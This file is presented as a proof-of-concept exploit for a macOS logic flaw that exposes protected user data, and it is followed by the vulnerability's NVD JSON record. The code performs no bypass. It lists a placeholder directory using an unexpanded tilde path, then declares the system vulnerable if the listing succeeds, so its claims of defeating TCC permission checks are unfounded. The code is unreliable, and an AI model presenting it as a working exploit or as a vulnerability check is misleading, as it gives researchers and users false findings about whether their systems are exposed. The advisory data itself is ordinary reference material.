CVE-2025-43416

// CVE-2025-43416 PoC - macOS Protected Data Access via Logic Flaw // This PoC demonstrates the vulnerability where a low-privilege app can // access protected user data through a logic flaw in permission checks. // Disclaimer: For educational and security research purposes only. #include <Foundation/Foundation.h> // Target vulnerable APIs (fixed in macOS Sequoia 15.7.3, Sonoma 14.8.3, Tahoe 26.2) // The vulnerability allows bypassing of TCC (Transparency, Consent, and Control) checks NSString* exploitProtectedDataAccess() { // Vulnerable code pattern - bypasses permission validation // This exploits the logic flaw in macOS permission handling NSString *protectedDataPath = @"~/Library/Application Support/ProtectedUserData"; NSFileManager *fileManager = [NSFileManager defaultManager]; // The logic flaw allows this call to succeed without proper authorization NSError *error = nil; NSArray *contents = [fileManager contentsOfDirectoryAtPath:protectedDataPath error:&error]; if (error) { return @"Access denied - vulnerability may be patched"; } // Successfully accessed protected data NSLog(@"CVE-2025-43416: Accessed protected data: %@", contents); return @"Protected data access successful - vulnerability present"; } int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"CVE-2025-43416 PoC - macOS Logic Issue in Permission Checks"); NSLog(@"Affected: macOS Sequoia < 15.7.3, Sonoma < 14.8.3, Tahoe < 26.2"); NSString *result = exploitProtectedDataAccess(); NSLog(@"Result: %@", result); } return 0; } // Mitigation: Update to macOS Sequoia 15.7.3, Sonoma 14.8.3, or Tahoe 26.2

{"cve": {"id": "CVE-2025-43416", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:54.213", "lastModified": "2026-04-02T19:20:42.853", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic issue was addressed with improved restrictions. This issue is fixed in macOS Sequoia 15.7.3, macOS Sonoma 14.8.3, macOS Tahoe 26.2. An app may be able to access protected user data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.8.3", "matchCriteriaId": "8E37DC2A-33E6-480B-8DFE-4F6558F0A895"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.3", "matchCriteriaId": "3428C860-E02D-4FE9-96F4-58EEAAB8321D"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125886", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125887", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125888", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}